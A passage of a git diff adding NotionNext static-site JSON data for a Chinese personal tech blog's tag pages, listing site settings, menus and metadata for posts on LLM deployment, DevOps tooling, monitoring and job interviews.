:"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"2024-1-19","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"docker"},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/git.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/git.json new file mode 100644 index 000000000..303474455 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/git.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas 